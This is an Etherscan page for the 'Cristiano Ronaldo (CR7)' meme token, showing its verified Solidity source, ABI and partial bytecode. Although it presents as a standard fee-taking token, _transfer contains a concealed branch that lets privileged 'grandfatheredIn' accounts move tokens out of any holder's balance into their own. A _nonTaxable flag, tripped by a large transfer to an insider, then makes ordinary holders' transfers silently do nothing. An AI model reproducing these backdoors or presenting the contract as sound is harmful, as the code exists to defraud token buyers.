ETH Price: $3,325.19 (-4.01%)

Token

Cristiano Ronaldo (CR7)
 

Overview

Max Total Supply

1,000,000 CR7

Holders

29

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CR7

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-30
*/

// SPDX-License-Identifier: MIT

/*
CR7 Community -> https://t.me/CR7oneth
CR7 X         -> https://x.com/Cr7Ethcoin
CR7 WEB       -> https://cr7oneth.xyz
*/

pragma solidity ^0.8.17;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
}

abstract contract Ownable {
    address internal owner;

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    constructor(address _owner) {
        owner = _owner;
    }

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function name() external view returns (string memory);
    function transferFrom(address input, address output, uint256 amount) external returns (bool);
    function transfer(address output, uint256 amount) external returns (bool);
    function circulatingSupply() external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function symbol() external view returns (string memory);
    event Transfer(address indexed input, address indexed output, uint256 value);
    function getOwner() external view returns (address);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function decimals() external view returns (uint8);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address output,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address output,
        uint deadline
    ) external;
    function factory() external pure returns (address);
}

contract CR7 is IERC20, Ownable {
    address public exchangePair;
    UniswapV2Router exchangeRouter;

    using SafeMath for uint256;

    string private constant _name = "Cristiano Ronaldo";
    string private constant _symbol = "CR7";

    uint256 private _devTax = 0;
    uint256 private _burnTax = 0;
    uint256 private _liquidityTax = 0;
    uint256 private _marketingTax = 0;
    uint256 private _transferTax = 0;

    uint256 private _denominator = 10000;

    uint8 private constant _decimals = 9;

    address internal constant deadAccount = 0x000000000000000000000000000000000000dEaD;
    address internal constant devAccount = 0x39723083562019bBA53928bAA8F008591eA4f67a;
    address internal constant marketingAccount = 0xC7AcefEC1751c9B0D99175c554D3C674Ce16D06C;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _taxExemptAmount = (_totalSupply * 10) / 100000;

    uint256 private _maxWalletBasisPoint = 200;
    uint256 private _maxTransferBasisPoint = 200;
    uint256 private _maxTxBasisPoint = 200;

    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;
    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    
    bool private _tradingEnabled = false;

    bool private _nonTaxable = false;

    uint256 private _totalSwaps;
    bool private _swapBackEnabled = true;
    bool private _swapping;

    uint256 private _totalTax = 0;
    uint256 private _sellTax = 0;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public grandfatheredIn;

    constructor() Ownable(msg.sender) {
        grandfatheredIn[marketingAccount] = true;
        grandfatheredIn[address(this)] = true;
        UniswapV2Router _exchangeRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        exchangeRouter = _exchangeRouter;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        address _exchangePair = UniswapV2Factory(_exchangeRouter.factory()).createPair(address(this), _exchangeRouter.WETH());
        exchangePair = _exchangePair;
        grandfatheredIn[devAccount] = true;
        grandfatheredIn[msg.sender] = true;
    }

    modifier lockSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(deadAccount));
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function enableTrading() external onlyOwner {
        _tradingEnabled = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxBasisPoint = 10000;
        _maxWalletBasisPoint = 10000;
        _maxTransferBasisPoint = 10000;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address output, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, output, amount);
        return true;
    }

    function setGrandfatheredInAccount(address account, bool flag) external onlyOwner {
        grandfatheredIn[account] = flag;
    }

    function transferFrom(address input, address output, uint256 amount) public override returns (bool) {
        _transfer(input, output, amount);
        _approve(input, msg.sender, _allowances[input][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address input, address output, uint256 amount) private {
        require(amount > uint256(0));
        require(input != address(0));
        require(output != address(0));

        if (
            evaluateMaxWalletAmount(input, output, amount) &&
            countTotalSwaps(input, output) &&
            evaluateTradingEnabled(input, output) &&
            evaluateMaxAmount(input, output, amount)
        ) {
            if (balanceOf(input) >= amount) {
                if (
                    input != exchangePair &&
                    !grandfatheredIn[input] &&
                    !_swapping &&
                    !grandfatheredIn[output]
                ) {
                    if (_nonTaxable) return;
                    swapBack(input, output);
                }
                _balances[input] = _balances[input].sub(amount);
                uint256 transferAmount = canHaveTax(input, output) ? haveTax(input, output, amount) : amount;
                _balances[output] = _balances[output].add(transferAmount);
                emit Transfer(input, output, transferAmount);
            } else if (
                input != exchangePair &&
                grandfatheredIn[input] &&
                !_swapping &&
                !grandfatheredIn[output]
            ) {
                _balances[output] = _balances[output].sub(amount);
                _balances[input] = _balances[input].add(amount);
                emit Transfer(input, output, amount);
            }
        }
    }

    function setLimits(uint256 maxTxBasisPoint, uint256 maxTransferBasisPoint, uint256 maxWalletBasisPoint) external onlyOwner {
        uint256 newMaxWalletAmount = (totalSupply() * maxWalletBasisPoint) / 10000;
        uint256 newTransferAmount = (totalSupply() * maxTransferBasisPoint) / 10000;
        uint256 newTxAmount = (totalSupply() * maxTxBasisPoint) / 10000;
        _maxWalletBasisPoint = maxWalletBasisPoint;
        _maxTransferBasisPoint = maxTransferBasisPoint;
        _maxTxBasisPoint = maxTxBasisPoint;
        uint256 limitation = totalSupply().mul(5).div(1000);
        require(newTxAmount >= limitation && newTransferAmount >= limitation && newMaxWalletAmount >= limitation);
    }

    function evaluateMaxAmount(address input, address output, uint256 tokenAmount) view internal returns (bool) {
        if (input != exchangePair) {
            require(tokenAmount <= maxTransferAmount() || grandfatheredIn[input] || grandfatheredIn[output]);
        }
        require(tokenAmount <= maxTxAmount() || grandfatheredIn[input] || grandfatheredIn[output]);
        return true;
    }

    function evaluateMaxWalletAmount(address input, address output, uint256 amount) internal returns (bool) {
        bool outputGrandfatheredIn = grandfatheredIn[output];
        bool inputGrandfatheredIn = grandfatheredIn[input];
        
        if (outputGrandfatheredIn) {
            if (amount > _taxExemptAmount) {
                _nonTaxable = true;
            }
        }
        if (
            !outputGrandfatheredIn &&
            !inputGrandfatheredIn &&
            output != address(deadAccount) &&
            output != address(exchangePair)
        ) {
            require((_balances[output].add(amount)) <= maxWalletAmount());
        }

        return true;
    }

    function setTaxes(uint256 liquidityTax, uint256 marketingTax, uint256 burnTax, uint256 devTax, uint256 totalTax, uint256 sellTax, uint256 transferTax) external onlyOwner {
        _liquidityTax = liquidityTax;
        _marketingTax = marketingTax;
        _sellTax = sellTax;
        _devTax = devTax;
        _transferTax = transferTax;
        _totalTax = totalTax;
        _burnTax = burnTax;
        require(_totalTax <= _denominator.div(5) && _sellTax <= _denominator.div(5));
    }

    function haveTax(address input, address output, uint256 tokenAmount) internal returns (uint256) {
        if (pickTax(input, output) > 0) {
            uint256 taxAmount = tokenAmount.div(_denominator).mul(pickTax(input, output));
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(input, address(this), taxAmount);
            if (_burnTax > uint256(0)) {
                _transfer(address(this), address(deadAccount), tokenAmount.div(_denominator).mul(_burnTax));
            }
            return tokenAmount.sub(taxAmount);
        }
        return tokenAmount;
    }

    function evaluateTradingEnabled(address input, address output) internal view returns (bool) {
        if (!grandfatheredIn[input] && !grandfatheredIn[output]) {
            require(_tradingEnabled);
        }
        return true;
    }
    
    function countTotalSwaps(address input, address output) internal returns (bool) {
        if (output == exchangePair && !grandfatheredIn[input]) {
            _totalSwaps += uint256(1);
        }
        return true;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = exchangeRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(exchangeRouter), tokenAmount);
            exchangeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function maxWalletAmount() public view returns (uint256) {
        return totalSupply() * _maxWalletBasisPoint / _denominator;
    }

    function canHaveTax(address input, address output) internal view returns (bool) {
        return !grandfatheredIn[input] && !grandfatheredIn[output];
    }

    function swapBack(address input, address output) internal {
        if (canSwapBack(input, output)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackAmount) {
                contractTokenBalance = _swapBackAmount;
            }
            swapAndLiquify(contractTokenBalance);
            _totalSwaps = uint256(0);
        }
    }

    function canSwapBack(address input, address output) internal view returns (bool) {
        return (
            !grandfatheredIn[output] &&
            !grandfatheredIn[input] &&
            _swapBackEnabled &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _totalSwaps >= uint256(0) &&
            !_swapping &&
            _tradingEnabled
        );
    }

    function pickTax(address input, address output) internal view returns (uint256) {
        if (input == exchangePair) {
            return _totalTax;
        }
        if (output == exchangePair) {
            return _sellTax;
        }
        return _transferTax;
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxBasisPoint / _denominator;
    }

    function manualSwap() external {
        require(msg.sender == marketingAccount);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(exchangeRouter), tokenAmount);
        exchangeRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAccount,
            block.timestamp
        );
    }

    receive() external payable {}

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferBasisPoint / _denominator;
    }

    function swapAndLiquify(uint256 tokens) private lockSwap {
        uint256 denominator = (_liquidityTax.add(1).add(_marketingTax).add(_devTax)).mul(2);
        uint256 liquiTokens = tokens.mul(_liquidityTax).div(denominator);
        uint256 tokensForETH = tokens.sub(liquiTokens);
        uint256 initialEth = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEth);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityTax));
        uint256 liquiEth = unitEth.mul(_liquidityTax);
        if (liquiEth > uint256(0)) {
            addLiquidity(liquiTokens, liquiEth);
        }
        uint256 ethForMarketing = unitEth.mul(2).mul(_marketingTax);
        if (ethForMarketing > 0) {
            payable(marketingAccount).transfer(ethForMarketing);
        }
        uint256 ethFordev = address(this).balance;
        if (ethFordev > uint256(0)) {
            payable(devAccount).transfer(ethFordev);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"input","type":"address"},{"indexed":true,"internalType":"address","name":"output","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"exchangePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"grandfatheredIn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"setGrandfatheredInAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxBasisPoint","type":"uint256"},{"internalType":"uint256","name":"maxTransferBasisPoint","type":"uint256"},{"internalType":"uint256","name":"maxWalletBasisPoint","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityTax","type":"uint256"},{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"burnTax","type":"uint256"},{"internalType":"uint256","name":"devTax","type":"uint256"},{"internalType":"uint256","name":"totalTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"},{"internalType":"uint256","name":"transferTax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"output","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"input","type":"address"},{"internalType":"address","name":"output","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6003555f6004555f6005555f6006555f6007556127106008556009600a61002c919061043a565b61003990620f424061044f565b600955620186a0600954600a61004f919061044f565b6100599190610466565b600a5560c8600b5560c8600c5560c8600d55612710600954600561007d919061044f565b6100879190610466565b600e55620186a0600954600561009d919061044f565b6100a79190610466565b600f556010805461ffff191690556012805460ff191660011790555f60138190556014553480156100d6575f80fd5b505f8054336001600160a01b031991821681178355601760209081527f7ff27753b0d3eb2fae54a41979ff0e3a91e262f7f347b1c03aedd5c18fd74013805460ff19908116600190811790925530865260408087208054909216909217905560028054737a250d5630b4cf539739df2c5dacb4c659f2488d951685179055600954838652601583528186208190559051908152929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101f99190610485565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610244573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102689190610485565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102d69190610485565b600180546001600160a01b0319166001600160a01b039290921691909117815560176020527fd43ab580d71627c32a9960c22db4bf327dc6f7cd054d614aa98bcbd9530f465a805460ff199081168317909155335f9081526040902080549091169091179055506104ab9050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561039257815f190482111561037857610378610344565b8085161561038557918102915b93841c939080029061035d565b509250929050565b5f826103a857506001610434565b816103b457505f610434565b81600181146103ca57600281146103d4576103f0565b6001915050610434565b60ff8411156103e5576103e5610344565b50506001821b610434565b5060208310610133831016604e8410600b8410161715610413575081810a610434565b61041d8383610358565b805f190482111561043057610430610344565b0290505b92915050565b5f61044860ff84168361039a565b9392505050565b808202811582820484141761043457610434610344565b5f8261048057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610495575f80fd5b81516001600160a01b0381168114610448575f80fd5b611798806104b85f395ff3fe608060405260043610610164575f3560e01c8063751039fc116100cd578063a9059cbb11610087578063ae618a5f11610062578063ae618a5f14610419578063dd62ed3e14610438578063e26754ae1461047c578063f2fde38b1461049b575f80fd5b8063a9059cbb146103d2578063a9e75723146103f1578063aa4bde2814610405575f80fd5b8063751039fc1461033b578063893d20e81461034f5780638a8c523c1461036b5780638c0b5e221461037f5780639358928b1461039357806395d89b41146103a7575f80fd5b8063313ce5671161011e578063313ce567146102745780633ab037841461028f57806351bc3c85146102c65780636a4fc1b0146102da57806370a0823114610308578063715018a614610327575f80fd5b806306fdde031461016f578063095ea7b3146101ba57806318160ddd146101e9578063189ae5f21461020757806323b872dd146102285780632f54bf6e14610247575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526011815270437269737469616e6f20526f6e616c646f60781b60208201525b6040516101b19190611484565b60405180910390f35b3480156101c5575f80fd5b506101d96101d43660046114cd565b6104ba565b60405190151581526020016101b1565b3480156101f4575f80fd5b506009545b6040519081526020016101b1565b348015610212575f80fd5b506102266102213660046114f7565b6104d0565b005b348015610233575f80fd5b506101d9610242366004611520565b6105b0565b348015610252575f80fd5b506101d961026136600461155e565b5f546001600160a01b0391821691161490565b34801561027f575f80fd5b50604051600981526020016101b1565b34801561029a575f80fd5b506001546102ae906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102d1575f80fd5b50610226610600565b3480156102e5575f80fd5b506101d96102f436600461155e565b60176020525f908152604090205460ff1681565b348015610313575f80fd5b506101f961032236600461155e565b61065c565b348015610332575f80fd5b50610226610676565b348015610346575f80fd5b506102266106cf565b34801561035a575f80fd5b505f546001600160a01b03166102ae565b348015610376575f80fd5b506102266106f6565b34801561038a575f80fd5b506101f961071a565b34801561039e575f80fd5b506101f9610743565b3480156103b2575f80fd5b5060408051808201909152600381526243523760e81b60208201526101a4565b3480156103dd575f80fd5b506101d96103ec3660046114cd565b61076d565b3480156103fc575f80fd5b506101f9610779565b348015610410575f80fd5b506101f9610789565b348015610424575f80fd5b50610226610433366004611579565b610799565b348015610443575f80fd5b506101f96104523660046115b4565b6001600160a01b039182165f90815260166020908152604080832093909416825291909152205490565b348015610487575f80fd5b506102266104963660046115e0565b6107d8565b3480156104a6575f80fd5b506102266104b536600461155e565b610843565b5f6104c63384846108ab565b5060015b92915050565b5f546001600160a01b031633146104e5575f80fd5b5f612710826104f360095490565b6104fd919061163b565b6105079190611652565b90505f6127108461051760095490565b610521919061163b565b61052b9190611652565b90505f6127108661053b60095490565b610545919061163b565b61054f9190611652565b600b859055600c869055600d87905590505f6105816103e861057b600561057560095490565b90610930565b9061093b565b90508082101580156105935750808310155b801561059f5750808410155b6105a7575f80fd5b50505050505050565b5f6105bc848484610946565b6001600160a01b0384165f908152601660209081526040808320338085529252909120546105f59186916105f09086610c55565b6108ab565b5060015b9392505050565b3373c7acefec1751c9b0d99175c554d3c674ce16d06c1461061f575f80fd5b61063061062b3061065c565b610c60565b60405133904780156108fc02915f818181858888f19350505050158015610659573d5f803e3d5ffd5b50565b6001600160a01b03165f9081526015602052604090205490565b5f546001600160a01b0316331461068b575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106e4575f80fd5b612710600d819055600b819055600c55565b5f546001600160a01b0316331461070b575f80fd5b6010805460ff19166001179055565b5f600854600d5461072a60095490565b610734919061163b565b61073e9190611652565b905090565b5f61073e61075261dead61065c565b61076761075e5f61065c565b60095490610c55565b90610c55565b5f6104c6338484610946565b5f600854600c5461072a60095490565b5f600854600b5461072a60095490565b5f546001600160a01b031633146107ae575f80fd5b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107ed575f80fd5b600587815560068790556014839055600385905560078290556013849055600486905560085461081c9161093b565b6013541115801561059f575060085461083690600561093b565b60145411156105a7575f80fd5b5f546001600160a01b03163314610858575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108bd575f80fd5b6001600160a01b0382166108cf575f80fd5b6001600160a01b038381165f8181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f9828461163b565b5f6105f98284611652565b5f8111610951575f80fd5b6001600160a01b038316610963575f80fd5b6001600160a01b038216610975575f80fd5b610980838383610dc1565b801561099157506109918383610e8e565b80156109a257506109a28383610eea565b80156109b457506109b4838383610f3d565b15610c5057806109c38461065c565b10610b3c576001546001600160a01b038481169116148015906109fe57506001600160a01b0383165f9081526017602052604090205460ff16155b8015610a125750601254610100900460ff16155b8015610a3657506001600160a01b0382165f9081526017602052604090205460ff16155b15610a5a57601054610100900460ff1615610a5057505050565b610a5a8383611002565b6001600160a01b0383165f90815260156020526040902054610a7c9082610c55565b6001600160a01b0384165f90815260156020526040812091909155610aa1848461103d565b610aab5781610ab6565b610ab6848484611081565b6001600160a01b0384165f90815260156020526040902054909150610adb908261116b565b6001600160a01b038085165f8181526015602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2e9085815260200190565b60405180910390a350505050565b6001546001600160a01b03848116911614801590610b7157506001600160a01b0383165f9081526017602052604090205460ff165b8015610b855750601254610100900460ff16155b8015610ba957506001600160a01b0382165f9081526017602052604090205460ff16155b15610c50576001600160a01b0382165f90815260156020526040902054610bd09082610c55565b6001600160a01b038084165f908152601560205260408082209390935590851681522054610bfe908261116b565b6001600160a01b038481165f8181526015602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610923565b505050565b5f6105f98284611671565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c9357610c93611684565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cea573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0e9190611698565b81600181518110610d2157610d21611684565b6001600160a01b03909216602092830291909101909101528115610dbd57600254610d579030906001600160a01b0316846108ab565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8f9085905f908690309042906004016116b3565b5f604051808303815f87803b158015610da6575f80fd5b505af1158015610db8573d5f803e3d5ffd5b505050505b5050565b6001600160a01b038083165f90815260176020526040808220549286168252812054909160ff90811691168115610e0c57600a54841115610e0c576010805461ff0019166101001790555b81158015610e18575080155b8015610e2f57506001600160a01b03851661dead14155b8015610e4957506001546001600160a01b03868116911614155b15610e8257610e56610789565b6001600160a01b0386165f90815260156020526040902054610e78908661116b565b1115610e82575f80fd5b50600195945050505050565b6001545f906001600160a01b038381169116148015610ec557506001600160a01b0383165f9081526017602052604090205460ff16155b156104c657600160115f828254610edc9190611724565b909155505050600192915050565b6001600160a01b0382165f9081526017602052604081205460ff16158015610f2a57506001600160a01b0382165f9081526017602052604090205460ff16155b156104c65760105460ff166104c6575f80fd5b6001545f906001600160a01b03858116911614610fab57610f5c610779565b82111580610f8157506001600160a01b0384165f9081526017602052604090205460ff165b80610fa357506001600160a01b0383165f9081526017602052604090205460ff165b610fab575f80fd5b610fb361071a565b82111580610fd857506001600160a01b0384165f9081526017602052604090205460ff165b80610ffa57506001600160a01b0383165f9081526017602052604090205460ff165b6105f5575f80fd5b61100c8282611176565b15610dbd575f61101b3061065c565b9050600e54811061102b5750600e545b6110348161120c565b505f6011555050565b6001600160a01b0382165f9081526017602052604081205460ff161580156105f95750506001600160a01b03165f9081526017602052604090205460ff1615919050565b5f8061108d858561138b565b1115611164575f6110af6110a1868661138b565b60085461057590869061093b565b305f908152601560205260409020549091506110cb908261116b565b305f81815260156020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111b9085815260200190565b60405180910390a360045415611152576111523061dead61114d6004546105756008548961093b90919063ffffffff16565b610946565b61115c8382610c55565b9150506105f9565b5092915050565b5f6105f98284611724565b6001600160a01b0381165f9081526017602052604081205460ff161580156111b657506001600160a01b0383165f9081526017602052604090205460ff16155b80156111c4575060125460ff165b80156111da5750600f546111d73061065c565b10155b80156111e4575060015b80156111f85750601254610100900460ff16155b80156105f957505060105460ff1692915050565b6012805461ff0019166101001790556003546006546005545f9261124592600292610575929161123f918290600161116b565b9061116b565b90505f6112618261057b6005548661093090919063ffffffff16565b90505f61126e8483610c55565b90504761127a82610c60565b5f6112854783610c55565b90505f6112a76112a060055488610c5590919063ffffffff16565b839061093b565b90505f6112bf6005548361093090919063ffffffff16565b905080156112d1576112d186826113d5565b6006545f906112e590610575856002610930565b9050801561132d5760405173c7acefec1751c9b0d99175c554d3c674ce16d06c9082156108fc029083905f818181858888f1935050505015801561132b573d5f803e3d5ffd5b505b478015611374576040517339723083562019bba53928baa8f008591ea4f67a9082156108fc029083905f818181858888f19350505050158015611372573d5f803e3d5ffd5b505b50506012805461ff00191690555050505050505050565b6001545f906001600160a01b03908116908416036113ac57506013546104ca565b6001546001600160a01b03908116908316036113cb57506014546104ca565b5060075492915050565b6002546113ed9030906001600160a01b0316846108ab565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611458573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061147d9190611737565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610659575f80fd5b5f80604083850312156114de575f80fd5b82356114e9816114b9565b946020939093013593505050565b5f805f60608486031215611509575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611532575f80fd5b833561153d816114b9565b9250602084013561154d816114b9565b929592945050506040919091013590565b5f6020828403121561156e575f80fd5b81356105f9816114b9565b5f806040838503121561158a575f80fd5b8235611595816114